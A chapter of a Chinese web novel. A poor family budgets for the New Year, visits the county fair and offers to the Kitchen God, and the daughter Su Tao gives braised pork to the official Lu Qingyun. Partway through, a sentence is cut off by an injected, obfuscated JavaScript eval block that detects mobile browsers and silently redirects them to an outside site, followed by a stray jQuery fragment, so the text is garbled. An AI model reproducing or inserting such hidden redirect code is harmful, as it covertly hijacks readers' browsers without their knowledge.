苏桃脚步轻快地往家走去。
穿过院子，她轻手轻脚地推开屋门，见一家子都在，便笑语盈盈地走了进去，到床边掏出钱袋晃了晃：“娘，你看这是什么？”
李娟郁郁寡欢的脸上强挤出一抹笑：“是什么？”
苏桃打开钱袋，从里面拿出两枚银铤，递到她眼前，嘴里配音：“当当当当——”
李娟睁大眼睛，惊讶道：“银铤？你哪来的银铤？”
苏桃张嘴，刚要说出实情，却想起娘正是忧思过度病倒的，若知道这钱是举报杀人强盗所得，只怕又要担惊受怕，病情再次加重。她念头急转，嘴边的话转了个弯儿，笑道：“娘，你还记得那位县尉官人吗？”
李娟点头，眼中流露出回忆与一丝不自觉的赞叹：“记得，那位县尉官人气宇轩昂、俊朗不凡，叫人一见难忘。”
“这银铤就是他给我的。”苏桃一本正经，编得有鼻子有眼的，“他觉得我做的生煎小馒头好吃，便问我可否将做法卖与他，好让家里的厨子学着常做。我想着，能白得一笔钱，有什么不愿意的呢？便答应了。他便给了我三两银子。”
李娟将信将疑地接过银铤，只觉入手沉甸，成色极好，确实不像寻常市井之物。她摩挲着银铤光滑的表面，神情犹豫：“当真？你那生煎小馒头虽说滋味不错，可县尉官人府上的厨子怎么会做不出来呢？”
苏桃登时睁圆了眼睛，露出些许委屈：“娘，你瞧不起我？”
“没有没有，绝对没有，娘怎么会瞧不起你呢？”李娟连忙否认，发自内心地夸道，“如今咱们家最有本事的就是你了。”
苏桃哼了一声：“那您就是不相信我啰？”
“娘也没有不相信你，娘只是觉得有些奇怪。”李娟解释完，无奈地叹了口气，随即自己把自己说服了，“好吧，那位县尉官人一看就不缺钱，瞧着也像是位端方君子。或许这于他而言不过是兴之所至的一件小事。咱们家是走了好运，恰巧赶上了。”
“正是如此。”苏桃顿时转嗔为喜，一屁股坐到床边握住她的手，细细算起账来，“娘，你看啊，你每日药费50文，炭火燃烧一日一夜需16文，每日合计耗钱66文。如今咱们有三两银子，兑成铜钱便是3180文，能够支撑足足四十八日呢。”
“四十八日后，外头早已是春天。”苏桃看着她的眼睛，语气平稳又温柔地告诉她，“娘，即使你一直病到春天，家里也不会因此就过不下去了，我有饭吃，杨儿和柳儿也有饭吃，所以你大可以放宽心。你可以安安心心地生着病，毫无顾虑地整日躺在床上养病，什么糟糕的事情都不会发生，我们一家子每个人都还是好好儿的。娘，你能明白吗？”
李娟一怔，半晌，喃喃自语道：“哪里就能病到春天呢？”
苏桃笑眯眯的：“娘病不到春天吗？”
李娟无奈一笑，苍白的脸上终于有了些许光彩：“瞧你说的，我就是再不济，也不至于病到春天都好不了啊。”
“所以啊，娘你根本不用担心。”苏桃语气笃定，言语描绘着充满希望的未来，“等到明年春暖花开，娘您若是想，依然可以和我一块儿出去摆摊。那时候外头不冷了，您再也不会因为受寒就病倒了。”
李娟顺着女儿的话一想，怔怔道：“是啊，好像还真是这样……”
随着这句话说出口，她心上压着的那股无形的、沉甸甸的压力仿佛被卸去了大半，整个人都松快下来，脸上不自觉露出一抹真切的笑容。
感觉到屋内氛围变化的苏杨挪着步子慢慢凑过来，指了指窗外，小声翼翼地分享起喜悦：“娘，阿姐，你们看，外头下雪了。”
苏桃一愣，转头看向那开了一条缝隙散炭气的窗户。原来不知何时，外头的冻雨已停了，雪粒子变成了鹅毛般的雪花，一片片翩然坠下。
她回头，见娘也盯着那窗缝瞧、眼里不自觉漾出欢喜与跃跃一观的新奇之色，便柔声提议：“娘，我扶你过去看看吧。”
李娟犹豫片刻，点了点头。
苏桃扶她下床，行至窗边，将窗户彻底推开，苏杨抱着苏柳也凑过来，一家人立在暖屋之中看雪。
清冽而新鲜的寒气涌入，鹅毛般的雪片漫天飞舞，洋洋洒洒落在屋瓦、墙头以及院子里枣树光秃秃的枝丫上。
李娟看得入迷，情不自禁转过头来，赞叹道：“真好看啊。”
“是啊，真好看啊。”苏桃温柔地应了一声，又转过头去看雪。
雪落寒冬，已是最冷之时。但也正因如此，春天，真的不远了。
或许是三两银子给了李娟底气，她的身子竟一日好过一日，不过八九天光景，咳嗽便已止住。往医馆寻徐大夫复诊，50文一包的药也可以停了，改回20文一包的调理之药、十日一服即可。
到了腊月十八，距离年关只剩十二日。苏桃最后一天出摊，每遇一位熟客，便笑着告知：“明日便不出摊了，要过年置办年货啦。”
一个食客诧异道：“苏小娘子，腊月二十县城办年集，四里八乡的人都涌进城来办年货，那可是生意最好的时候，你竟不做啦？”
苏桃笑着摇头：“不做啦，辛苦小半年，也该好好歇息几天。李大叔，我在这里提前祝你新年顺遂，福寿安康！”
食客李大叔顿时哈哈大笑：“同喜同贺！也祝你家新年和乐，岁岁平安！”
收了摊回到家，苏桃归置好物什，便与娘一同坐在堂屋方桌旁，盘算起家底并规划年关用度。
来德安街街口消费的食客钱财有限，苏桃也并未再增加新品，每日出摊的盈利还是稳定在93文，减去因为李娟生病吃药取暖而暴涨的每日开销83文，苏桃每日仅能攒下十余文。出摊十天，攒出了100文。
家里原有的散钱因为请徐大夫出诊3次花去了300文，加上那100文再减去一些零碎开销，散钱变成了600文。
也就说，家里现在一共有3两银铤、一贯整钱以及散钱600文。
“腊月二十四祭灶神，除夕祭祖，需香烛一套60文，灶糖两斤40文，纸马纸钱一套20文。”苏桃一边说一边往外扒拉铜板，“祭肉三斤90文，合计需要210文。”
李娟瞧着那一小堆铜板，不由自主开始心疼：“哎呀，过年怎么那么费钱啊。”
苏桃失笑，安慰道：“过年嘛，总是费钱的。咱们不能不祭灶神，也不能不祭先祖啊，这钱没法儿省。”
李娟思索片刻，伸手往回扒拉铜板：“灶糖一斤就够了，祭肉也可以少一点儿，两斤吧。咱们能省则省。”
苏桃眉眼弯弯，点头道：“好，就听娘的。咱们今年拮据，灶王爷和先祖会理解我们的，等以后日子宽裕了，咱们再多备些供品作补偿。”
“接下来是筹备年夜饭。咱们吃了小半年的粗茶淡饭，过年总得吃顿像样的。”苏桃继续往外扒拉铜板，“猪肉有了，一只鸡120文，四五斤的鲜鱼100文，再割一斤羊肉尝尝鲜110文，再买五十斤白粳好米280文，菘菜、萝卜等鲜菜也要备上些需100文，一共就是710文。”
“什么人家啊吃羊肉？”李娟见她都开始拆那一贯整钱了，忙按住她的手重新盘算，“咱们县没有本地羊，全是商贾从北地贩来，专门趁着年节抬价盈利，咱们不吃那份亏，羊肉不要了。鸡也不必买，直接将家中老母鸡宰一只，年后我再去集市买几只雏鸡回来养便是。鱼意味着年年有余，得买好的不能省。米和鲜菜也得买，若正月里有客来拜年，咱们总得有点东西招待他们。这样480文便够了。”
“480文，不也还是要拆整钱？”苏桃好笑地拨开她的手，将那一贯整钱的绳头解了，数出40个铜板，放在了另一边的铜板堆里，“说到待客，咱们是不是还得备些腊鱼、咸肉这类能久放、又能撑场面的硬菜？还有招待小孩子用的零嘴点心？米酒也得来两坛吧，不但待客要用，咱们自己是不是也得喝两杯？”
李娟摇头：“街坊邻居谁不知道咱们家今年遭了难？如今只稍稍缓过气，咱们没必要假大方。”
“腊鱼咸肉各备一斤吧。”她思索着，“有客人来就往桌子中间一摆，能从除夕摆到正月十五。零嘴就买些干枣栗子回来做馒头，你舅舅不是把鸡蛋送来了吗？到时候冲点儿糖水鸡蛋给客人们喝，米酒就只买一坛，咱们自己喝就是了。”
“这样的话……”李娟计算着，“合计就是……”
苏桃已经计算出结果：“合计就是190文。”
“加上前面两大项，一共就是830文。”李娟再次心疼起来，“这都快一贯了。哎哟，过年可真费钱啊。”
“过年只花一贯，咱们已经很俭省啦！”苏桃笑着安慰她，又提议道，“娘，咱们扯些布做新衣服吧，新年总得穿件新的。”
“不行。”李娟不假思索地拒绝，“就算是最便宜的苎麻布，一匹也要400文呢。咱们的旧衣服也没破到那种程度，不用买新的。”说完，她犹豫了一下，又道，“要不给你做一身新的吧，你日日在外奔波，该有件体面衣裳。夹布大袄加下裳，半匹布便够了，两百文，买回来我自己做。”
“那怎么行？就我穿新衣服你们都不穿？那我穿了心里也不痛快。”苏桃明确表示反对，不过添置新衣确实太贵，她思索片刻，提议道，“要不给柳儿扯点布做身新衣裳吧，她人小，要的布料少，咱们买点儿好的，苎麻布做表棉布衬里，好看又舒服，也只需要75文钱。”
李娟转头看向斜对面床榻，一岁的苏柳穿着半旧小袄，正努力地想把拨浪鼓塞进嘴里尝尝滋味，发现塞不进去，便举起来胡乱摇晃，拨浪鼓发出咚咚声响，她便顿时乐得弯起了眼睛，张着嘴啊啊大叫。
李娟看着，脸上不自觉地浮现出温柔笑意，点头道：“好，那就给柳儿做一身新衣裳。”
苏桃高兴起来，又追加一项：“那咱们再多买几斤五花肉回来吧。家里又攒了些猪油，到时候我给你们露一手，做东坡肉和芥菜扣肉吃，保证好吃得不得了！”
李娟见她撸起袖子一副要大展身手的积极模样，笑着再次应好。
苏桃放下手，拨动着铜板：“那么，最后的总费用就是……”
下一瞬母女俩抬眼对视，异口同声道：“一千零五文！”
腊月二十到了，县城年集开始，此后四日，直到祭灶前夕，云和县城都会沉浸在最鼎沸的喧闹与最浓厚的年节气氛之中。
早食过后，苏桃抱着裹得严严实实的苏柳，李娟牵着兴奋得小脸通红的苏杨，一家子锁好院门，出了安义坊，汇入了主街人流。
与此同时，县衙之内，陆青云一身公服，腰悬佩剑，神情肃然地召集了王都头等一众得力下属。他目光扫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310054|198791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过众人，沉声训话：“此几日年集繁盛，人流如织，尔等需尽心巡逻值守，弹压纷争、抓捕偷盗、严防火患，务必保街市安宁，不得有误！”
见众弓手齐声应是，他当即动身，带队走出县衙，踏上主街。
街道两侧已被各式各样的摊棚占满。卖门神、桃符、年画的，卖鸡鸭鱼肉、干果蜜饯的，卖布匹针线、锅碗瓢盆的……琳琅满目，看得人眼花缭乱。
苏桃一家子没钱，很多东西不能买，但不妨碍他们逛得满心欢喜、乐在其中。年集之上人流涌动，摩肩接踵，人人面上皆是喜气，叫卖声、谈笑声、讨价声沸反盈天，一派热闹景象。苏桃一家子看着笑着，随着人流慢慢往北走去。
陆青云或是在岔路口安排弓手值守分薄人流，或是疏通整顿堵路难行的摊棚，或是镇压劝服百姓们口舌之争手足之斗，他时刻保持着警觉，不停地扫视四周，带领着队伍慢慢向南走去。
两人一南一北，于熙攘人潮中擦肩而过。
到了腊月二十四，苏桃一家早早起身，将屋内屋外收拾得干干净净。到了黄昏时分，便在厨房灶龛前设下香案，摆上清水、灶糖、祭肉，点燃香烛。李娟带着儿女们，恭恭敬敬地拜祭灶神，祈求‘上天言好事，下界保平安’。
祭礼完毕，撤下供品。苏桃端起那一大碗方方正正的白水煮带皮肋条五花肉，笑道：“今儿是大日子，给你们做一道我拿手的东坡肉，再搞点儿米酒，咱们好吃好喝一顿！”
她将祭肉切作二寸方丁，砂锅铺姜葱，肉皮朝下码好，倾入黄酒、酱油、冰糖，小火慢煨。渐渐的，一股浓郁醇厚、勾魂摄魄的肉香，便从锅盖缝隙中丝丝缕缕地飘散出来，弥漫了整座小院。
苏杨巴巴地凑在灶台前，盯着砂锅里的肉，魂都快要飞进去了。苏柳更是含着手指头，口水滴滴答答地往下淌。李娟看得好笑，一边给她擦口水一边说道：“幸好还没给你穿新衣，不然便糟蹋了。”又转过头催苏桃，“肉什么时候好啊？两个孩子都要被你馋坏了。”
“快了快了，马上就好。”
就在这时，院子外面传来清晰的叩门声。
“笃笃笃，笃笃笃……”
“我去开门！”苏杨自告奋勇，转身蹬蹬蹬跑过院子，踮起脚拉开门闩，打开门抬眼一瞧，愣住了，“你是谁？”
陆青云站在门外，见他总角模样，瞬间便猜出他的身份：“你是苏杨？”
苏杨很是惊讶：“你怎么知道我的名字？”
陆青云笑了笑：“替我转告你阿姐，集市乱收费之事，我已整治妥当，日后摆摊只需交五文地铺钱。你阿姐往后再出摊，就去县城集市，莫再在德安街口占道经营了。”他说完，见苏杨似懂非懂地点了点头，便不再多言，转身便走。
此时正是家家户户祭灶神、准备晚食的时刻，各种各样的饭菜香气不停地从两侧院落飘来。他独自行走在狭窄的巷道内，忽然听见一道熟悉的声音从背后传来。
“陆官人——陆官人——陆青云！你等一下！”
陆青云脚步一顿，转身回望，便见苏桃气喘吁吁跑来，手里还拎着一个藤编食盒。
苏桃跑到他面前，微微平复气息，打开食盒给他瞧。盒中那一小碗东坡肉色泽红亮，酥润软糯，肉香扑鼻。她笑道：“陆官人，这是我家祭灶神撤下的祭肉，我做成了东坡肉，你且尝尝，一同沾沾新年的福气。”
陆青云微愣：“祭灶神撤下的福肉原是一家人分食的吧，你给我？”
“对啊，送福嘛。”苏桃笑眯眯的，又故意道，“怎么？你瞧不上我的手艺？”
“哪能呢，你的手艺有多好我还能不知道？”陆青云接过食盒，笑道，“那我就不客气了。”
苏桃点头，又忽然想起来道：“年后我去县城集市摆摊，你有空了记得过来一趟，把食盒和这里头的碗还给我啊。”
陆青云顿时哭笑不得：“你就非要这么节省吗？”
苏桃耸耸肩：“穷人家的生活就是这样，一个碗一个杯子都要计较。”
陆青云无奈，妥协道：“行，我记着了。”
说罢，他转身欲走。
“哎！”苏桃叫住他。
陆青云回头：“还有事吗？”
苏桃定定地看他片刻，忽地粲然一笑：“陆青云，新年快乐。”
陆青云一怔，眉眼蓦地柔和下来：“嗯，你也新年快乐。”
暮色四合，华灯初上。
苏桃家中，堂屋方桌中央一大碗红亮油润的东坡肉，旁边是清炒的菘菜，还有热腾腾香喷喷的白粳米饭。苏桃举起酒杯，笑意盈盈：“来来来，我先敬大家一杯！”一家四口举杯相碰，欢声笑语满院。
与此同时，城北宣化坊一座清雅空旷的宅邸内，下人们将晚膳一一摆上桌。
“相公，今日祭灶，厨子做了一桌上好酒菜，您尝尝。”
陆青云坐在桌前，望着满桌珍馐，只觉兴致缺缺，毫无食欲。
他转头看向放在旁边的藤编食盒，伸出手打开盒盖，看着那一小碗东坡肉，拿起筷子夹了一块放进口中。
浓郁醇厚的肉香瞬间充斥口鼻，微微一抿，炖得酥烂入味的肉在舌面化开，肥而不腻，软烂鲜香。陆青云脑中蓦地浮现出她灿烂笑脸，唇角不自觉地向上弯起，慢慢眯起眼睛，享受起其中美妙滋味来。